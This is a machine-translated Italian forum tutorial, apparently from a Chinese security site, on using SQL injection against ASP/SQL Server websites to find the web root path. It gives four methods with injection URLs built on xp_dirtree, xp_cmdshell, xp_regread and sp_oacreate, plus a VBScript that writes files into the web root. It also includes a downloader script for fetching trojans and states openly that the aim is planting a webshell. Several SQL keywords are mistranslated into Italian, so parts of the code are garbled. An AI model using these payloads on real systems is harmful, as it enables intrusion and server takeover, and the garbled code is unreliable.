Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 11906|Risposta: 0

[Tutorial sulla sicurezza] SQL injection per ottenere il percorso completo del sito web

[Copiato link]
Pubblicato su 07/02/2015 22:19:16 | | |
SQL injection per ottenere il percorso completo del sito web

Se il sito ha solo 80 porte, troverai i seguenti metodi più utili
Quasi tutti i metodi utilizzati non sono quelli che ho scoperto, e l'articolo include sempre qualche esperienza personale e competenze durante l'iniezione
Ci sono 4 metodi (ora noti)

Primo metodo:

Questo è il <怪异的SQL注入>metodo introdotto in < >
Utilizzando il xp_dirtree di sqlserver, parliamo prima del metodo e poi dei suoi vantaggi e svantaggi (alcune aggiunte sono fatte sulla base del testo originale)

Crea tabelle

Affermazione:http://www.xxxxx.com/down/list.asp?id=1;create  Cartelli di Tabella (Paths Varchar(1000))--
Retro: Informazioni normali! Significa che la tabella è stata creata con successo! Continua!
(Quello costruito è un po' più grande dell'originale, perché ho trovato un file con un nome lungo e ho cancellato l'id perché è inutile)

Affermazione:http://www.xxxxx.com/down/list.asp?id=1;insert  Dirigenti master.dbo.xp_dirtree 'C:\' --
Ritorni: Informazioni normali. Significa che tutte le directory scritte su unità C hanno successo! Bello! Il prossimo passo è prendere il parchimetro! Viola la violazione e esci. (Sembra che ci sia un solo modo per farlo)

Affermazione:http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i percorsi top 1 dalle dirs)-
Ritorni: Microsoft OLE DB Provider for SQL Server errore 80040e07
L'errore di sintassi si verifica quando si converte il valore varchar '@Inetpub' in una colonna con tipo di dato int.

Poi i nomi delle directory nella tabella vengono a turno riprodotti!

Affermazione:http:// http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi da
dirs dove i percorsi non sono in( '@Inetpub'))--
Ritorni: Microsoft OLE DB Provider for SQL Server errore 80040e07
L'errore di sintassi si verificava quando si converteva il valore varchar 'test' in una colonna con tipo di dato int.

Poi i nomi delle directory nella tabella vengono a turno riprodotti!
Ok, continuiamo

Affermazione:http:// http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi da
dirs dove i percorsi non sono in( '@Inetpub','test'))--
Ritorni: Microsoft OLE DB Provider for SQL Server errore 80040e07
L'errore di sintassi si verifica quando si converte il valore varchar 'haha' in una colonna con tipo di dato int.

Poi i nomi delle directory nella tabella vengono a turno riprodotti!

Ok, dovresti sapere come si fa, haha, basta aggiungere il nome della tabella che hai a quella parentesi, metti quanti vuoi,

Un piccolo trucco:

A volte scoprirai che quando l'input è simile

http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i percorsi top 1 dalle dirs)-

Invece di mostrare un errore, la pagina web viene visualizzata normalmente
Gira la testa, non essere nervosa
Guarda 0<> (seleziona i primi 1 percorsi dalle dirs) per mostrare che il ritorno è un numero,
Ahah, prova e vedi quanto costa

100>(seleziona i percorsi principali dai dirs)

Ritorno alla normalità
Ahah, puoi facilmente indovinare con questo metodo se è maggiore o minore
Ok, continuiamo
Ad esempio, quando appare

59=(seleziona i percorsi top 1 dalle dirs)

Torna alla normalità,
OK, il nome è 59
Entra come segue

http:// http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi da
dirs dove i sentieri non erano in ('59'))--

Ricorda di mettere virgolette
Il metodo seguente è lo stesso dell'originale
C'è anche un problema
A volte, inserendo 59 usando il metodo sopra, trovo che la cartella successiva è ancora 59
Cosa sta succedendo?
Eh, non so se hai notato che 059 e 59 sono uguali?
Ecco perché haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi da
Dirs dove i sentieri non sono in ('059'))--

Ho notato che il nome della cartella successiva viene mostrato, ok

Analisi di vantaggi e svantaggi:

Il vantaggio è che tutti gli utenti sqlserver possono usarlo, perché xp_dirtree applica il permesso PUBLIC,
Lo svantaggio è che mostra i nomi di tutte le cartelle nella directory, e la disposizione sembra non essere in ordine; in breve, è doloroso trovare la cartella che si desidera in migliaia o decine di migliaia di cartelle.
E sai che avere quella cartella non è garantito che sia nella directory root, il che è davvero una cosa dolorosa, spesso dipende dalla fortuna e dalla resistenza.
Ti auguro successo

Metodo 2:

Utilizza xp_cmdshell

Ahah, tutti devono conoscerlo, lasciate che lo dica brevemente

Crea tabelle

Affermazione:http://www.xxxxx.com/down/list.asp?id=1;create  Cartelli di Tabella (Paths Varchar(1000))--
Retro: Informazioni normali! Significa che la tabella è stata creata con successo! Continua!
(Quello costruito è un po' più grande dell'originale, perché ho trovato un file con un nome lungo e ho cancellato quell'id perché è inutile.)

Affermazione:http://www.xxxxx.com/down/list.asp?id=1;insertRegia Esecutiva master.dbo.xp_cmdshell 'Regia C:\ /B/D' --
Ritorni: Informazioni normali. Significa che tutte le directory scritte su unità C hanno successo! dir c:\ /B/D viene usato qui, haha, se non sai cosa fa /B/D, prova a vedere cosa fa

Affermazione:http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i percorsi top 1 dalle dirs)-
Ritorni: Microsoft OLE DB Provider for SQL Server errore 80040e07
L'errore di sintassi si verifica quando si converte il valore varchar '@Inetpub' in una colonna con tipo di dato int.

Poi i nomi delle directory nella tabella vengono a turno riprodotti!

Affermazione:http:// http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi da
dirs dove i percorsi non sono in( '@Inetpub'))--
Ritorni: Microsoft OLE DB Provider for SQL Server errore 80040e07
L'errore di sintassi si verificava quando si converteva il valore varchar 'test' in una colonna con tipo di dato int.

Poi i nomi delle directory nella tabella vengono a turno riprodotti!

Il metodo è lo stesso di quanto sopra, quindi non ne parlerò

A volte possiamo anche fare qualcosa con le seguenti due estensioni

1) Possiamo sfruttare xp_availablemedia per ottenere tutti i dischi attuali e salvarli nella tabella dirs:

5 ; inserire regie esecutive master.dbo.xp_availablemedia; --

Possiamo ottenere l'elenco dei dischi e le informazioni correlate interrogando il contenuto di temp

(2) Possiamo usare xp_subdirs per ottenere l'elenco dei sottodirectory e memorizzarli nella tabella delle direzioni:

5 ; inserire nelle regie un esecutivo master.dbo.xp_subdirs 'c:\' ; --

Analisi di vantaggi e svantaggi:

Ovviamente, questo non xp_dirtree la situazione in cui tutte le directory sono messe insieme, solo la directory di primo livello sarà visualizzata, che è molto più facile da trovare.
Gli svantaggi sono evidenti: solo SA ha questo permesso, ed è anche possibile che l'amministratore abbia cancellato questa estensione (dopotutto, è troppo potente).

Metodo 3:

Questo approccio è positivo
Di seguito è riportato il testo originale
Ho pensato di usare il programma adsutil.vbs, che ho eseguito

a'; Maestro esecutivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Non è lungo? Attraverso di esso, possiamo creare il primo sito web virtuale in IIS (inclusa ovviamente la directory effettiva in cui si trova)
Importazione in a.txt
Il predefinito per la posizione effettiva del a.txt è ovviamente c:\winnt\system32, che in realtà non è un problema, ma quando si incontra un amministratore che imposta adsutil.vbs
Cancella o mettila altrove
Non possiamo farci nulla (non puoi scriverne uno con il comando echo da solo)

Passo 2: Usa il comando echo per scrivere il seguente codice in c:\, che non è molto

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Ambiente("processo"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
do mentre non fil.atendofstream
nr=fil.readline
se left(nr,4)="Path" allora
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit do
fine se
Loop
Set fil1 =fso1.opentextfile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------Taglia qui-------------------------------------

Passo 3: Ovviamente, è eseguire read.vbs, così da poter leggere il contenuto nel aa.txt e trovare il percorso effettivo del sito web
Poi scrivi un file chiamato dd.asp nella directory root del sito web, e saprai se puoi provarlo con successo
eseguirehttp://x.x.x.x/dd.asp
Resi: \xxx
Ahah, è un buon modo,
Tuttavia, il testo originale sembra presentare alcuni problemi
Lo è

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

L'errore si verifica quando vengono inviate due frasi
Così abbiamo ideato il segno più, che ha la stessa funzione di &
E di cosa scrivere dd.asp? Scrivi a papà, haha
Ahah, l'ho cambiato

-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Ambiente("processo"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
do mentre non fil.atendofstream
nr=fil.readline
se left(nr,4)="Path" allora
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit do
fine se
Loop
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Taglia qui--------------------------------------
Poiché il numero di orario viene convertito in uno spazio quando si invia in un browser, dovresti anche impostare il
Diventa %2B, ok, dovrebbe andare bene, come segue
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Ambiente("processo"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
do mentre non fil.atendofstream
nr=fil.readline
se left(nr,4)="Path" allora
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit do
fine se
Loop
set fil1 =fso1.opentextfile(ppa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Taglia qui--------------------------------------

Se scopriamo che 1 non c'è, possiamo diventare 2, 3, 4...........

a'; Maestro esecutivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Ma questo metodo può essere usato solo sotto Windows 2000, perché gli indirizzi dei siti web appena creati sotto il 2003 non sono organizzati secondo il 1234, sembrano generati casualmente, e ne ho confrontati diversi sotto il 2003
indirizzo, non è stata trovata alcuna regolarità.

Analisi di vantaggi e svantaggi:

Lo stesso vale xp_cmdshell Non tutti gli utenti possono usarlo! Un altro problema è che il file adsutil non esiste necessariamente, o non è necessariamente in quel percorso, anche se puoi usarlo se lo intendi
Echo ne scrive uno (haha, vecchio e vecchio), e un'altra domanda è: cosa succede se ci sono molti siti sull'host? Ho incontrato un host con nove sedi, e solo l'ottavo è utile
Sì, debole, è difficile per chiunque avere la pazienza di insistere così tanto, forse è crollato molto tempo fa. Inoltre, non può essere usato nel 2003!
Ma ad essere onesti, questo metodo è davvero un buon metodo

Metodo 4:

Questo metodo consiste nel leggere il percorso dal registro attraverso xp_regread ecc
Quanto segue è consigliato per ottenere il percorso della pagina web (leggere il registro tramite stored procedure):
Utilizzare la procedura stored integrata xp_regread (leggi la chiave del registro, permessi pubblici):

Dichiarazione: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Dichiare@test
Varchar (20) direttore esecutivo... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , valori=@test OUTPUT inserire nei percorsi
(percorso) valori(@test)

Percorso predefinito IIS nel registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Usa il campo burst per leggere il valore del database:

Istruzione: http://www.xxx.com/list.asp?classid=1 e 0<>(seleziona i primi 1 percorsi da newtable)--return: Microsoft OLE DB Provider per
L'errore dei driver ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] converte il varchar value E:\www,,201 in un tipo di dati int
colonna.

Questo significa che la directory della pagina web è in E:\www, e poi puoi anche usare FSO per scrivere direttamente sul trojan ASP
E se non riesci a ottenere una directory web? Devi indovinare se il sito usa il WEB predefinito o il nome di dominio come WEB.

dichiara @o int executive sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Crea una directory virtuale E sotto il sito WEB predefinito, puntando a E: sotto disco.

dichiara @o int executive sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -una navigazione w3svc/1/ROOT/e'

È utile aggiungere attributi di navigazione alla directory virtuale, ad esempio. Apri un servizio virtuale per te stesso. Pensando a quei percorsi delle directory delle pagine web, la mia testa è quasi rotta. Ora ho aperto gli occhi. Quella è la WEBSHELL che utilizza Microsoft
SQL è la fine del nostro lavoro, e il prossimo lavoro dovrebbe essere tuo.
Ahah, il metodo è buono, leggilo tramite il modulo di registrazione, comodo e veloce!

Analisi di vantaggi e svantaggi:

Il vantaggio è, ovviamente, che è comodo e veloce. Lo svantaggio è che puoi vedere solo il percorso del sito IIS predefinito, e se non è più il sito predefinito allora non c'è più possibilità di fare (l'ho tracciato con regsnape), se è sotto il 2003
Cioè, nemmeno il percorso predefinito del sito viene visualizzato! Nel dolore

A proposito, in effetti, ci sono altri modi per continuare l'intrusione oltre a trovare il percorso del sito web, come caricare il trojan di rimbalzo tramite tftp o scrivere un iget.vbs per scaricare il dongdong che si vuole
Il codice iget.vbs è il seguente:

---------inizia----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Tipo = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------fine-----------

Supplemento a questo articolo:

Recentemente, ho scoperto che la mia comprensione delle istruzioni del Presidente Mao non era abbastanza profonda, e vorrei aggiungere qui
In effetti, i metodi sopra non hanno bisogno di essere confrontati xp_dirtree sono i migliori, purché questo metodo sia sufficiente
È solo perché ero troppo ..............
Oggi scaverò di nuovo il segreto di xp_dirtree
Ok, facciamo il maestro esecutivo: xp_dirtree'd:/test'
Supponiamo che abbiamo due cartelle in test, test1 e test2, e test3 in test1
I risultati mostrano

Profondità della sottodirectory
Test1 1
Test3 2
Test2 1

Ahah, ho scoperto che non c'è profondità nella serie della directory
Ok, sappi cosa fare

http://www.xxxxx.com/down/list.asp?id=1;create  Dirs della tabella (paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirigs Executive master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  e 0<>(seleziona i primi 1 percorsi dai dirs dove id=1)-

Finché si aggiunge id=1, è la directory di primo livello.





Precedente:Penetrazione di intrusione: applicazione delle intestazioni HTTP
Prossimo:Gli screenshot del trasferimento Alipay vengono generati con un solo clic
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com